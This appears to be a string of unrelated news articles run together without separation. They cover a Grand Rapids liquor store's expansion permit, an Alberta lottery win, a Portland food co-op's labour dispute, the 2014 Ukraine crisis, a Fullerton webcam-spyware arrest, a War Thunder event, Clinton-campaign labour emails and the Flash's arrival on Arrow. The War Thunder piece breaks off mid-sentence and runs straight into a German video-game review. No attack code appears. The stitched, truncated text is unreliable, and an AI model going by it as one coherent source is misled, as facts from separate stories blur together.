Lucky Chana plans to grow his store onto the second floor of the building he owns at 24 S. Division Ave. so he can add more groceries. But the Grand Rapids Planning Commission last week tabled a permit over concerns about increased alcohol sales in the neighborhood.
Some commissioners said they might support the expansion if Chana agrees to stop selling single beer cans and half-pints of liquor.
"My market is the singles," Chana said. "Sixty percent of the alcohol or beer I'm selling is a single.
"I'm sorry. It's not going to happen. They're telling me 'Get out of the business.'"
Chana says he would spend about $150,000 renovating the building so Lucky's Spirits & Fine Wine could occupy the second floor, which is currently vacant. Groceries make up about 30 percent of the store's items now and he wants to increase the selection, he said.
To make room for meat and produce, for example, Chana would move some of the store's alcohol to the second floor.
Public input at a hearing last week was mixed, with some support for additional groceries and strong opposition to additional alcohol.
"The sale of alcohol really does prey upon the people addicted to drugs and alcohol in that area," said Dave Reinert, owner and president of Rockwell Republic, a restaurant across the street that serves booze. Lucky's customers litter the neighborhood with bottles and packaging, pee on the street and pass out from drunkenness, he claims.
"(Lucky's) is almost like a hub of illicit behavior. It's an anchor for it."
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A city permit is needed for Lucky's to expand the amount of alcohol it sells. Chana said Grand Rapids city staff are misunderstanding his plan to relocate - not expand - the store's alcohol offerings.
A permit is not needed if Chana expands the store onto the second floor without increasing the amount of alcohol on the shelves, said Suzanne Schulz, the city's director of planning.
"If he does not wish to expand his alcohol sales area and just instead reallocates it between the first and second floors, we would (OK that administratively without a permit)," Schulz said. "It's a no-brainer to give him permission if he's not increasing the amount of alcohol he's selling."
The commission is tentatively scheduled to review the permit application Thursday, April 9.
Matt Vande Bunte covers government for MLive/Grand Rapids Press. Email him at mvandebu@mlive.com or follow him on Twitter and Facebook.A couple who live somewhere in Yellowhead County west of Edmonton have claimed the largest lottery prize in Alberta history — a $60 million Lotto Max jackpot.
The winners will be introduced at a news conference in St. Albert on Wednesday, the Alberta Gaming and Liquor Commission said in a media advisory. Their names have not been made public.
The $60 million jackpot was from the Friday, Sept. 22 draw.
The single winning ticket matched seven of seven numbers drawn.
The winning numbers were 2, 10, 37, 38, 39, 43 and 47. The bonus number was 28.
Four tickets that matched six of seven numbers plus the bonus number won prizes of $144,713.30 each.
The previous largest lottery prize awarded in Alberta was a $54,294,712 Lotto 6/49 jackpot won in October 2005. Seventeen workers at an oil and gas company shared the money.
Between December 2013 and November 2016, four Lotto Max prizes of $50 million each were awarded to winners in Edmonton, Lamont, Fort Kent and Irma.
Yellowhead County stretches from Evansburg to the eastern boundary of Jasper National Park and includes the towns of Edson and Hinton and several hamlets including Niton Junction and Wildwood.After today's Disney/Fox deal, fans everywhere are wondering what team ups and crossovers we'll see next. As it turns out, Patton Oswalt might have outlined it all pretty perfectly a few years back.
In 2013, the fan-favorite comedian appeared on Parks and Recreation, playing, Garth Blundin. In the episode "Article Two", Garth attempts to filibuster a local piece of legislation by outlining his proposal for Star Wars: Episode VII, which was in production at the time. What followed was a nearly nine minute-long crossover pitch, entirely improvised by Oswalt, which imagines the Star Wars universe crossing over with the Avengers and the X-Men.
While Oswalt's pitch is admittedly still a little too fantastical (especially because a Star Wars/Marvel crossover is probably not in the cards), there is a bit of irony in what it sort of predicted. At the time, Marvel having both the Avengers and X-Men back under one roof seemed next to impossible, as Marvel Studios was trucking along in its second phase, while Fox's X-Men universe was gradually rebooting with the help of X-Men: Days of Future Past.
The fact that both the Avengers and X-Men are back together now - and are owned by the same company that owns Star Wars - is a pretty great coincidence. Even Parks and Recreation showrunner Mike Schur has since pointed that out, in an interview back in 2016.
"Not to get too theoretical about it, but part of what was so great is that he was tapping into this real trend in movies." Schur told Vulture. "Everyone is in everyone else’s movie. It’s Batman v Superman but also maybe Spider-Man is in it somehow? And in the Avengers universe, obviously, everybody shows up. The success of those movies will undoubtedly lead someone to say, “Hey, what if Han Solo meets up with the Guardians of the Galaxy?” Right? There’s almost no kind of crossover or universe-merging that seems impossible now."Bleeding red ink for six straight years and facing a daunting new competitor, worker discontent spills over at the co-op grocery.
Some Food Front Cooperative Grocery employees find their working environment anything but cooperative. A total of ten current and former co-op employees have told the Examiner of autocratic management, a disillusioned staff and widespread fear that speaking out leads only to reprisal or dismissal.
The workers are also united in believing that the co-op’s future is in danger due to financial mismanagement.
Food Front General Manager Holly Jarvis and the co-op’s board have made no secret of their apprehension about coming competition when New Seasons is to open four blocks away next year. Beyond that, however, they present a positive front. Jarvis explains six consecutive years of operating losses as the consequence of opening a second store in Hillsdale in 2008 during the recession and in consciously deciding to plow resources into long-range growth.
No employer endures long without dissatisfaction in the workforce, and “disgruntled former employees” are so common the phrase has become a cliché.
Yet the number of dissidents and the consistency of their stories should be troubling to an organization built on communal values and a higher social purpose. And the co-op’s failure to entertain the possibility that the chafing may stem from internal failings warranting open discussion seems unbefitting of a democratically governed, member-owned co-op.
Charges leveled by the seven anonymous workers, who withheld their names in fear of dismissal, are harsh. They describe Jarvis as a “dictator” who ruthlessly punishes those who challenge her authority while rewarding an inner core loyal to her.
Many report going to work for Food Front with high ideals and dedication to the people-before-profits cooperative ethic. Although their co-op wages are modest, most would deem working for Walmart or other corporate retailers akin to “selling out.”
“We all want to feel that what we do matters,” said one worker, explaining that the idealism and dream of working collaboratively soon turns to cynicism after coming to Food Front, causing many to quit.
“We’re paying people jack, and then we have this insane turnover,” said this worker.
Many sources described the work environment as toxic and ruled by intimidation.
They say Jarvis’ business decisions are erratic and arbitrary, and shortcuts are taken to staunch the financial bleeding.
“I wouldn’t even buy our meat anymore,” said another worker. “We don’t know what we’re doing.”
As a result, “We are teetering on the edge of going under. All our reserves are gone.”
Another common complaint is that the weak board gives Jarvis carte blanche latitude.
“The board doesn’t know the half of what’s going on,” said this worker.
Anonymous charges are easy to make, subject to hyperbole and difficult to corroborate without revealing the source. Told of the number and nature of the complaints, Jarvis said it was difficult to respond due to worker confidentiality restraints, but she was surprised to hear so many workers were “pessimistic.”
“It was stressful when we set ourselves to bring our labor costs in line,” she said, and she understood why employees of the Northwest store resented the financial drag created by launching the Hillsdale store in 2008. Interruption of service at the Northwest store was dampened by a long remodeling project completed last year. But those difficulties had been surmounted, she believed.
“Overall the employees are feeling a lot better,” she said.
Ex-finance man speaks out
The Examiner became a listening post for Food Front dissidents last year after the co-op’s chief financial officer from 2011-13, Joe Bailey, approached the newspaper with a broad and deep critique of the organization’s predicament. He brought financial documents to bolster his interpretations.
They included the five consecutive years of operating losses (now six), ranging from a $441,000 loss in 2013 to an $82,000 hit in the most recent fiscal year. He also shared Food Front documents showing the co-op was failing to meet its goal
s for net asset growth, level of debt and cash on hand.
Bailey was also reluctant at first to speak publicly. In February, he stepped forward and addressed the board during a brief member comment period. He also handed out a one-page summary of financial figures and issues.
“There is a grave situation that this has been going on for six years and hasn’t been rectified by current management, and it needs to change,” he said.
He suspected the co-op was only able to meet its cash-flow obligations because of new borrowing.
He warned the board to change its “passive, hands-off approach” to operations and stop “hiding behind” arcane governance practices.
Above all, he advised co-op leadership to be more open about its predicament.
“The owners have the right to know the financial condition, the health of the business,” he said.
Despite these matters so central to the co-op’s health and performance, the board had no questions of him. He was not surprised. During his tenure, Bailey had reached out to several board members with similar warnings, but gained no traction. He suspects these contacts were threatening to Jarvis and led to his firing.
Without skipping a beat, the next agenda item at the February board meeting was a report by Jarvis, who presented an altogether different financial picture.
“Sales have been going really well,” she said. “Overall the Northwest store’s performance has been great. … Everything is falling into place and really clicking.”
The strikingly disparate assessments caused one board member, Tom Mattox, to push Jarvis for an explanation. He referred to a document in the board packet noting that the Hillsdale store was out of compliance with sales projections.
The general manager said this characterization of the Hillsdale store’s performance was “not entirely true” because sales goals had been “really hard to estimate” and therefore just “a shot in the dark.” Furthermore, she was not the person who made those projections. The result was “over-budgeted” targets that shouldn’t be taken at face value.
Eventually Jarvis conceded there were some sore points on the financial front.
“Our labor costs are a huge reason we are not making money,” she said, adding that Food Front’s spending on labor has been “far above co-op norms.”
Mattox worked in marketing for the co-op from 2006-11 before joining the board.
“I don’t always understand what causes us to be out of compliance,” he told Jarvis. “You’re giving us these reports, but I’m not completely understanding them.”
“I’m reporting the facts,” she replied. “What doesn’t come through are the trends.
“The trend we see in this financial statement is really encouraging. For the Northwest store, we’re breaking even, and should begin to enter profitability. We’re very close to that point.”
As for the item identified as the co-op’s Achilles heel, even that was being remedied.
“Both stores have done a fantastic job of reducing labor costs,” she said.
Listening to this exchange, Bailey weighed in.
“I understand what Tom is saying. My expectation is that the board would understand the financial situation.”
Bailey said he had asked for better reports without success.
“It would be good to report the numbers I asked for. What’s the net income year-to-date? What is the customer count and transaction size? What is the bottom line?”
He said such figures could be compared with year-ago data to give a better picture of where the co-op is heading.
Policy governance
If the board is in the dark about the inner workings of management, it could be traced to a concept introduced by Jarvis when she became general manager in 1993. Policy governance is a management system in wide use by co-ops and nonprofits around the country. As she applies it, the system distances the board from personnel and operations details. The board deals with broad policies and tracks progress toward goals.
Complaints by staff about management are beyond their scope. The last resort for employees who feel the general manager has given them a raw deal is a private consultant Jarvis may hire to settle the dispute.
The board sees budget figures, but its analysis is at the 30,000 foot altitude.
A Frontlines newsletter article under board President Bandon Rydell’s byline claimed success in restoring Food Front “reserves to a level consistent with comparable co-ops.”
Asked to provide particulars behind the statement, Rydell told the Examiner he was unable to do so and said the general manager would have the answers.
As for the relative success of the co-op’s two stores, he drew another blank, unable to provide numbers or a general comparison. Still, he defended the decision to open the Hillsdale store as necessary to prevent “being squeezed out” by supermarket chains.
Rydell was confident that another Food Front gamble, investing in a $900,000 remodel to add a deli and meat department to brace for the coming New Seasons Market, has been “definitely successful” because sales increased thereafter. But asked whether sales had risen enough to justify the investment, he again referred us to Jarvis.
“Nothing has gone exactly as planned,” he said of these investments, “but the co-op would have been in worse shape had we done nothing.”
Rydell was accompanied in that interview by David Richardson, the former Food Front treasurer. Richardson wasn’t able to provide the missing data either. Asked to comment on the string of deficit spending years, he quibbled about whether taxes should properly be called expenses and noted that “it’s complicated.”
Finally, the pair was asked whether the co-op had borrowed in 2014 to meet operating expenses. They concurred that this was protected information potentially useful to Food Front’s competitors and therefore could not be released.
In a later news interview with Rydell and Jarvis, the general manager fielded the difficult questions and provided particulars as the board president affirmed support for her work.
On the record
After Bailey contacted the Examiner, two other ex-employees have lent their names to the call for reform. One of those became an ex-employee after talking to us.
Tyra Lynn, raising four children on her Food Front wages, husband’s disability payments and food stamps, had been at the co-op eight years. She made about $15 an hour at various jobs, including cashier, wellness clerk and merchandiser.
Whatever security her household enjoyed was shattered last month when she was fired for theft. She said she was accused of putting a higher-priced item in a soup carton at the Food Front hot foods bar and taking it through checkout at the price of soup. She calls the accusation “ridiculous,” but said she was given no chance to defend herself or appeal the decision.
She admitted to “a battle of wills” with Jarvis over the years so was not shocked that it ended badly.
Even before her dismissal, Lynn was candid about her views and willing to be named in this story.
“I have encouraged others to speak up,” said Lynn, “and she (Jarvis) may well have heard about my involvement.”
Lynn said two workers showed her anonymous letters complaining about Jarvis that were sent to the board, but received no response.
She faulted the Hillsdale store for stocking Coke, Hershey’s Chocolate and Doritos, unhealthy products made by multinational corporations.
“How can you stand behind those business practices?” she asked.
“I’m willing to try anything to get people into the store,” said Hillsdale store manager John Conlin. “I need Coke to get them in the aisle. … It’s not perfectly aligned with what we want to do, but it gets people in the aisle.”
“The mission and values have changed,” said Lynn. “It’s all about cutting costs.”
Workers aren’t valued. Cheaper products that wouldn’t be sold on Food Front shelves are used in the deli, where labels aren’t attached, she said.
Working at a Walmart, she suggested, at least entails no pretense of respect for employees.
Other workers are similarly disillusioned. At one point last summer, she said, “in two weeks, eight people put in their notice and said I’m not doing this anymore.”
Human resources manager Aniel Yates said turnover has followed normal patterns and he would not consider the staff to be discontented. Asked what issues might be compromising their satisfaction, he said, “I don’t know.”
Alexa Petroff, who worked in inventory and finance at Food Front for three years, no longer fears reprisal because she’s left the co-op.
“This is a sinking ship, and you’re all going to go down with it,” is her message to current employees.
She said she was twice forced to sign confidentiality statements concerning misconduct she witnessed among staff, and she was “humiliated” by Jarvis in front of other workers for “spreading rumors.”
“I was punished for telling the truth,” she said.
Petroff said she brought her concerns to board president Rydell in 2010, but he was of no help.
“This is the most ineffective board I’ve ever been aware of,” she said.
Examining history
In 1995, when Jarvis was new in her job, she insisted on prescreening an Examiner article to see that it met her satisfaction. We refused. In retaliation, she tried to cancel Food Front’s monthly advertisement in the Examiner.
Although considering this attempt a breach of ethics and extreme case of heavy handedness, I thought we could iron things out with a personal meeting. When she still didn’t budge and insisted that I not contact the board, I reached out to a director, asking him to deliver a letter reflecting my disapproval to the board of directors.
Only after I printed an editorial condemning the general manager and board did I learn that he never showed the letter to the board: That would have been a violation of the policy governance system that kept matters of this type exclusively in management’s domain.
I asked Jarvis what she learned from that debacle 20 years ago.
“That was really boneheaded,” she confessed. “It’s always stupid when a business organization attempts to control editorial content.”
Jarvis apparently learned that lesson. She has never attempted to influence Examiner stories again, and Food Front resumed advertising.
But there was another lesson she might have drawn from the long ago confrontation: Issues of broad and profound importance to the organization should be shared with the elected leadership. Otherwise, how can they run the organization?■All photos by James D. Schwartz / The Urban Country
During my recent trip to China I was fortunate enough to spend a few days in Shanghai. Before I went to China, I promised Mikael Colville-Andersen that I would snap some photos of “Cycle Chic” action while biking around Shanghai.
Mikael popularized the term “Cycle Chic” in his blog Copenhagen Cycle Chic which he started 3 years ago. The Cycle Chic movement has now spread across the globe – but unfortunately nobody has started a “Shanghai Cycle Chic” blog at the time of this writing (The Urban Country is blocked within China, so the people of Shanghai won’t be able to view this post)
Cycle Chic means different things for different people. To me, it’s riding your bike in your regular clothes – be it your work clothes, your clubbing clothes, or your Sunday attire – whatever it is that you happen to be wearing.
It’s about riding with style and without the requisite of any pretentious clothing or gear.
As evidenced in my recent article Utility Cycling in China, the bicycle is a tool in China that serves a useful purpose. It gets people from A to B fast. It’s convenient to park, it’s inexpensive and it’s healthy.
The following photos illustrate how regular people in their regular attire use bicycles for transportation in Shanghai:
Happiness is in the air:Pro-Russia supporters look at fireworks as they gather outside the regional state building in the eastern Ukrainian city of Donetsk on May 12. (Photo: Genya Savilov, AFP/Getty Images)
Militants ambushed a convoy of Ukraine soldiers Tuesday, killing six soldiers as both sides had been moving toward possible peace talks in Kiev.
German Foreign Minister Frank-Walter Steinmeier was in Ukraine to try to broker talks between the central government and pro-Russia separatists who held a referendum to join Russia.
Prime Minister Arseniy Yatsenyuk said Ukraine has drawn up its own plan for ending the crisis and does not need European proposals.
Ukrainian forces have been trying to put down the armed insurgents in eastern Ukraine, where 40,000 Russian troops are massed on the border in preparation for a possible invasion.
On Tuesday the Defense Ministry said six Ukrainian soldiers were killed by militants after the separatist leader in Luhansk, one of the regions that declared independence, was shot and wounded.
Russia has said Ukraine should respect the results of a weekend referendum run by the militants who said nearly 90% of people in the region voted for autonomy from the Ukrainian government. Russian President Vladimir Putin says he has the authority to invade to protect the ethnic Russians who make up the militancy.
European analysts say there is no need for Russia to invade eastern Ukraine now that it has gained ultimate authority over much of the country by its takeover of Crimea and declarations of independence in the pro-Russian east.
"The referendum actually advantages Russia," said Keir Giles, analyst at Chatham House's International Security and Russia and Eurasia Program London.
"They do not need to have physical control of these regions to achieve their objective for the Ukraine, which is always has been to render Ukraine ungovernable."
Russia has called for the international community to respect the decision of the people of the Donetsk and Luhansk regions and is calling for a "practical implementation of the outcome of the referendum in a civilized manner, without any repeat of violence and through dialogue," the Kremlin said.
The referendums follow one held in Crimea in mid-March by pro-Russian separatists there that resulted in a Russian military invasion and annexation of the Black Sea peninsula. Ukraine says the votes were rigged and the United States termed them illegal.
Many have wondered if the latest votes are a pretext for Russian takeovers in the eastern Ukrainian regions.
"Russia annexed Crimea very quickly – we don't know if would be the same in Donetsk at all," said Andrew Wilson, senior policy fellow at the European Council on Foreign Relations in London, referring to a province in eastern Ukraine held captive by militants.
"In bigger-picture terms Russia can better control the guys in Crimea – they are real puppets. It is pretty unlikely that Russia would want to control south and eastern part of Ukraine as a whole, and it is pretty difficult to take only Donetsk."
Some analysts say if Russia ultimately accepts the move for independence, the provinces could end up as a puppet state.
"If Russia accepts the independence, we will have definitely a situation like in South Ossetia or Abkhazia or Transnistria, an independent state supported by Russia and in particular by the Russian military," said Liana Fix, an analyst specializing on the region at the German Council of Foreign Relations.
Meanwhile, Putin is pretending to lose control of the situation in the east just as he did when rebels in Donetsk kidnapped officials from the Organization for the Co-operation and Security in Europe, added Fix. That is to show he can present the face of a "good guy" to the world.
But it has been largely pro-Russian separatists who for the past few weeks have stormed and occupied official buildings in eastern Ukraine, prompting the Ukrainian government to launch military operations to push them out.
"The situation is not as bad as it could yet be — it could go either way — but (it getting) even worse is more likely," Wilson said.
Contributing: The Associated Press
Read or Share this story: http://usat.ly/1lgcr27FULLERTON – A man suspected of planting spyware on dozens of computers in order to take control of laptop webcams and photograph women in their homes was arrested Wednesday at his Fullerton residence, police said.
Investigators carried out an arrest warrant for Trevor Harwell, 20, who they suspect of using his position with Rezitech Inc., a computer service company, to install software allowing him to remotely access victims’ computers, Fullerton police Sgt. Andrew Goodrich said.
“Once he had access, he would take photographs of the users, usually women,” Goodrich said. “Often, the female victims were undressed or changing clothes. Harwell then stored the photos on a remote server, and eventually downloaded them on his own computer.”
Investigators discovered “numerous” victims, Goodrich said, all of whom are adult women.
Authorities say Harwell worked on computers in both Orange and Los Angeles counties. Investigators seized hundreds of thousands of still images and videos from his computer, Goodrich said.
Authorities began their investigation in summer 2010 after a Fullerton resident noticed that suspicious messages were popping up on their daughter’s computer.
Goodrich said the messages told users to “fix their internal sensor soon,” advising them that if they were unsure of what to do, they could “try putting your laptop near hot steam for several minutes to clean the sensor.” The message convinced some of the victims to take their laptops in the bathroom with them as they showered, Goodrich said.
Along with the spyware, investigators believe that Harwell may have exploited Macintosh computers connected to Biola University’s internal network. Harwell is a former student at the school, which many of the victims attended, Goodrich said.
There was no evidence that Harwell shared the photos with anyone else or posted them online, Goodrich said.
Harwell was released from custody after posting a $50,000 bond on Wednesday afternoon. According Orange County Superior Court records, he is facing 12 felony counts of computer access and fraud.
Additional charges will likely be filed in Los Angeles County, Goodrich said, although the cases could be combined at a later date.
“This is a very chilling and troubling kind of crime, when people’s privacy is violated like this,” Goodrich said. “It goes to a lot of people’s deep fears of being watched and not having privacy in their own homes.”
Police haven’t ruled out the possibility of other potential victims, asking people who think they may have been affected to check their “/Library/WebServer/Documents” directory for “Camcapture,” a program that Harwell is suspected of installing in the computers in order to access them.
Investigators are asking anyone who believes they were a victim to call their local police department or Fullerton police detective Kathryn Hamel at 714-738-5327.
Contact the writer: 714-796-7939 or semery@ocregister.comAttention! This news was published on the old version of the website. There may be some problems with news display in specific browser versions.
Arcade Event - Fall Weserübung
From 15:00 GMT April 9th to 15:00 GMT April 10th
Participate in the Arcade "Fjords" special event in War Thunder - available via the "Events" tab.
This is the first time nation limited aircraft has been used in arcade mode
At 23.45 on the 8th of April 1940, the Norwegian patrol vessel "Pol III" was on routine patrol in the Oslo fjord, when it spotted unidentified ships on the horizon. A few minutes later it was rammed and shot at by a German “E” boat. The invasion of Norway had begun.
In february of 1940, General Nikolaus von Falkenhorst was given the crucial task of planning the invasion of Norway. He was to create a plan to assault both Denmark and Norway as quickly as possible. Within five hours he had a rough idea of the invasion, he presented it to Hitler, and was given the order to proceed developing his strategy. Falkenhorst reported back to the Fuhrer in March, that all the units in the heer, the luftwaffe and the kriegsmarine was ready for attack.
The Kriegsmarine was tasked to attack six major cities in Norway (Bergen, Oslo, Trondheim, Kristiansand, Narvik and Egersund). The Luftwaffe would, by the end of the invasion, have participated in the Campaign with 1082 aircraft. By the end of the 9th of April, there would be approximately 16 000 German soldiers on Norwegian soil.
Operation Weserubung was to be the first major combined operation where the army, navy and air force acted together. The whole operation was directly under Hitler's special high command - Oberkommando der Wehrmacht. This was a new way of planning campaigns, as the earlier campaigns were led by the army's high command.
The operation depended on the element of surprise and planned to force the enemy to quickly surrender. Any reaction from the Allies would ruin the whole invasion and this probably led to the almost total destruction of the kriegsmarine.
The attack caused a lot of confusion among the Norwegian defenders, their resistance was halted by the Norwegian government who did not fully understand the situation. In Narvik harbour, the 40 year old Norwegian ships "Norge" and "Eidsvold" were sunk quickly and 276 Norwegians died. Narvik surrendered shortly after.
In Trondheimsfjorden, Agdenes fort was ready for the attack, as they had already received messages from both Bergen and Oslo where the invasion already had started. The fort was unable to stop the enemy because of the swiftness of the attack, 3 hours later Trondheim surrendered. In Bergen, the defences were able to damage 3 German ships, but this wasn't sufficient to stop the surrender that came soon after.
The "Blucher" - Sinking.
In the Oslofjord, the men in the Oscarsborg fortress were able, with their out of date weapons, to sink the German cruiser “Blucher”. The rest of the fleet were waiting for the invasion as they believed that the fjord was full |
ben. Die Story der Kampagne und die spielbaren Missionen des Winter Assaults haben mich jedoch nicht so vom Hocker gerissen.Ganz anders dann wieder „The Dark Crusade“. Das Prinzip einen Planeten in einzelne Maps zu unterteilen, war nicht neu, gab dem Spiel aber mehr Tiefe. Auch die Einbindung neuer Völker, wie die „Necrons“( Durch einen Chaosgott zum leben erweckte Metallkrieger) in die Story, hat mir persönlich sehr gefallen. „Soulstorm“ hat, bis auf neue Völker, keine größeren Änderungen gebracht.
Zum Spielprinzip selbst kann man ebenfalls nichts schlechtes sagen. Es ist ein schönes, schnelles Aufbaustrategiespiel mit viel Liebe zum Detail. Jede Rasse hat ihre ganz eigenen Vorteile. Wenn man zum ersten Mal ein Orbitales Feuer anfordert, um das Schlachtfeld im Namen des Imperators in Schutt und Asche zu legen, fühlt man sich einfach wie ein wahrer Commander der Eliteeinheiten des Imperiums. Oder wenn man als Eldar (Die “Elfen” in diesem Universum) seine ganze Armee durch Warpportale von einem Ende der Map zum anderen schickt. Oder einfach mal einen riesigen WWWAAAAARRRGGGHH vom Stapel lässt und mit den Orks alles „niedermoscht“. Das ist einfach nur herrlich. Die kleinen aber feinen Interaktionen zwischen den Charaktermodellen waren ebenfalls für den Charm im Spiel zuständig.
Aber den größten Spaß hatte ich im Mehrspielermodus. Egal ob im 3vs3 auf der Blutallee, meist als Space Marine, oder auch mal jeder gegen jeden, das Spiel war immer dynamisch, flüssig und man konnte immer neue Taktiken erdenken.
Und jetzt der neue Trailer. Es ist kaum in Worte zu fassen, wie episch er aussieht. Alles ist noch dreckiger, düsterer und zugleich bombastischer geworden, dass ich es kaum erwarten kann mich auf diesen Teil der Dawn of War Reihe zu stürzen. Genau so hab ich mir 2004 die kämpfe zwischen Orks und Spacemaries schon immer vorgestellt. Ich hatte das Gefühl mitten in dieser Schlacht zu stehen und die Orks flogen auf mich herab. Auch der Kampf zwischen den Imperialen Ritter (das etwas kleinere rote Ding auf zwei Beinen) und dem Phantomritter (das große dünne Ding links im Bild) Wenn sie dieses Gefühl nun auch in den dritten Teil übertagen können, dann werde ich so schnell nicht mehr vom Computer weg kommen. Aber seht selbst!Think Democrats Take Labor’s Money and Loyalty for Granted? Here’s Proof.
At a time when labor could have chosen the most pro-labor Democratic candidate in decades, Bernie Sanders, all but a handful of leaders rejected his campaign—and some actively worked against it. (Joe Brusky/ Flickr)
This article was first posted at Jacobin.
After the 2012 presidential election, AFL-CIO president Richard Trumka told labor journalist Josh Eidelson that the union federation “won’t be taken for granted” by the White House and the Democratic Party. Fast forward to a recent Wall Street Journal article: union contributions to politicians (almost entirely Democrats) are up 38 percent, with the AFL-CIO chipping in $11 million and SEIU over $30 million.
It’s possible, I suppose, that unions have devised a secret method for holding Democrats accountable behind closed doors while shoveling ever-greater mounds of money into their coffers. Labor has long backed a party that is addicted to scorning and betraying them, but maybe this time, with some well-timed whispers in politicians’ ears and a couple extra million in donations thrown in, things will be different.
But recent WikiLeaks emails of union leaders’ correspondence with high-ups in Hillary Clinton’s campaign suggest that rather than buying support for a working-class agenda from the candidate through their massive contributions—and through some leaders’ efforts to sink Bernie Sanders’s primary challenge to Clinton—labor will keep getting more of the same.
Cora Lewis of BuzzFeed has written a helpful breakdown of some of the most noteworthy messages in the leak. The emails show less outright contempt for the unions footing the bulk of the bill for Clinton’s impending victory than a careful and constant strategic dance. Her campaign wanted to exert as little effort as possible on labor’s behalf and keep unions’ expectations low while staying on their good side.
How does the campaign feel about coming out in support of the low-wage Walmart workers who have been organizing for years to escape poverty wages and vicious union-busting? Well, first there are some practical questions.
“[W]ill doing this invite a new round of stories about her walmart days?” adviser Maya Harris asks in one email, referring to the six years Clinton sat on the company’s board (during which she voiced nary a word of protest about its abusive labor practices, particularly against women).
The obvious answer is yes—and the campaign doesn’t want to draw any more attention to Clinton’s Walmart ties.
Okay, so no strong endorsement. Can the Walmart workers at least get a tweet in support, Clinton campaign labor outreach director Nikki Budzinski asks. Just 140 characters? “The tweet never came, and to this day there’s never been a tweet from @HillaryClinton uttering the name of the country’s largest private employer,” Lewis notes.
Final assessment of Clinton and Walmart workers: “Heard, considered, ultimately ignored.”
Regarding the Fight for 15, staffers wanted to stay in the good graces of both the movement pushing a $15 minimum wage and the large number of voters who support it, but refused to actually come out in favor of $15. “This reads like she’s for a $15 minimum wage and I think we have to choose our language more carefully,” strategist Joel Benenson writes in response to prepared remarks for a union rally.
Reacting to an invitation for Clinton to appear at a fast-food worker national conference, Podesta himself writes, “I assume we’ll pass on that.” Of course.
Also of interest in the emails is how Bernie Sanders’s campaign was treated.
American Federation of Teachers president Randi Weingarten shows up a number of times in the leaks. The AFT was one of the first major unions to endorse Clinton (over many members’ objections) and has given the Clinton Foundation between $1 million and $5 million. Unlike much of the rest of the labor movement, this appears to have bought her some cachet within the Clinton camp.
“Randi’s early endorsement deserves a lot of credit,” Budzinksi writes at one point, attributing the endorsement to Weingarten herself rather than to the union’s rank and file.
But in response to National Nurses United’s endorsement and prominent role in the Sanders campaign, Weingarten wrote, “We will go after NNU and there [sic] high and mighty sanctimonious conduct.” Weingarten was positioning herself as attack dog for the Clinton campaign against any challenges from the left.
More shockingly, as Branko Marcetic has reported, the leaks also reveal that the International Association of Machinists and Aerospace Workers’ now-retired president Tom Buffenbarger secretly moved up the union’s presidential endorsement far ahead of schedule in order to choose Clinton—an endorsement that angered many rank-and-file machinists.
“The IAM endorsement is usually made at their Convention,” Budzinski wrote in one email in 2015. “But their next Convention is not until 2016. Buffenbarger didn’t want to wait.” With machinations like these, you have to wonder if the union’s endorsement, claimed to have been reached by surveying “both the opinion and sentiments of membership at [an endorsement] meeting, as well as the results of the poll that reached out quite scientifically to over 2,000 [sic] members” really were so scientific.
The Podesta emails underscore the American labor movement’s perpetual bind. On one hand, when Republicans gain power, the results are devastating for unions. On the other, the Democratic Party’s power brokers clearly have no interest in pursuing even a tepidly pro-labor agenda. They just want the unions’ cash.
These revelations should force the labor movement’s rank-and-file to reflect a bit on both American union leaders and the party whose ass they’re constantly kissing and campaigns they’re constantly bankrolling. At a time when labor could have chosen the most pro-labor Democratic candidate in decades, Bernie Sanders, all but a handful of leaders rejected his campaign—and some actively worked against it. They helped secure the nomination for the Republican-lite candidate—hoping, no doubt, for her support from the Oval Office.
But the Podesta emails suggest that the party isn’t planning on returning the favor, whether they’re receiving record-breaking campaign contributions or not. However Richard Trumka and other American union leaders have tried to ensure labor won’t “be taken for granted” by the Democrats, it seems it hasn’t worked.
In These Times is proud to feature content from Jacobin, a print quarterly that offers socialist perspectives on politics and economics. Support Jacobin and buy a four-issue subscription for just $19.95.Credit: DC Comics
"He does need powers to become The Flash," said Geoff Johns. "He will be The Flash," echoed Andrew Kreisberg.
That was the big takeaway from a late Tuesday conference call between producer/writer Andrew Kreisberg, producer/writer/DC Entertainment CCO Geoff Johns, and various press outlets, discussing how The Flash will be coming to Season 2 of the CW's Arrow, and how that will potentially spin-off into a TV series featuring Barry Allen as his own hero.
While previously, in season one, the producers did not want to bring powers onto Arrow, Barry Allen will be the first for a simple reason: they all just love the character.
"He's obviously been a strong personal favorite of both Geoff and mine," said Kreisberg on the call, "So when Greg [Berlanti] approached us and said 'Hey, what would you think if we did The Flash as a spin-off?' all of us lit up!" Kreisberg went on to mention that Barry Allen, unlike the other powered members of the Justice League, isn't a demi-god, an alien, or a king, but rather gets his powers through a freak accident and has a "human and grounded" reaction to it.
"Olver Queen is a very dark and tortured soul, and Barry is not. I think it will be fun to see these two characters together because they have distinctly different world views while both caring very deeply about right and wrong," Kreisberg teased about the dynamic between the pair. "As excited as we are to write for Barry, we're really excited about what Barry's arrival is going to mean for Oliver, for Diggle, for Felicity, and everybody." Johns added that Barry being a cop (he's a forensic scientist in the comics, and that's how he'll be introduced on Arrow) means "he follows the law, he follows the rules; he's the last thing in the world you would ever think about as being a vigilante."
The two characters will "learn from each other," Kreisberg said, and Barry Allen will really challenge the way Oliver Queen thinks about what a hero is.
While he'll be a regular forensic scientist in his inital appearance in Starling City, Geoff Johns clarified that this won't be a "Smallville - The Blur" kind of appearance. He'll wear a version of his red comic book costume, and he will be identified by his comic book superhero name. "There will be no sweatsuits or strange code names. He will be The Flash."
Barry will first appear on Arrow in episodes 8 and 9 of season two, though they were unclear whether he'll become The Flash in one of those two episodes, or not until his third appearance, episode 20 of the season. That final appearance will serve as what's known commonly in television as a "backdoor pilot." Rather than a traditional pilot, Barry's new status quo and some supporting cast members will be introduced in the episode, written by Greg Berlanti, Andrew Kreisberg, and Geoff Johns, and directed by David Nutter. If that director's name sounds familiar, it's because he directed the pilots for both Smallville and Arrow, as well as last season's critically acclaimed (and deeply disturbing) "The Rains of Castamere" episode of Game of Thrones more commonly known as "The Red Wedding."
"David Nutter is a fantastic director," said Johns of the choice. Kreisberg added, "As much as people talk about Greg, Marc [Guggenheim] and I for Arrow, David really made it what it was with his amazing direction and his unparalleled advice and leadership."
While the pair did not address whether the character will be the same in both the TV series and the upcoming film (also being developed by Berlanti and Johns), they said that casting will be open "to everybody" and they'll be looking both at "name" actors as well as newcomers.
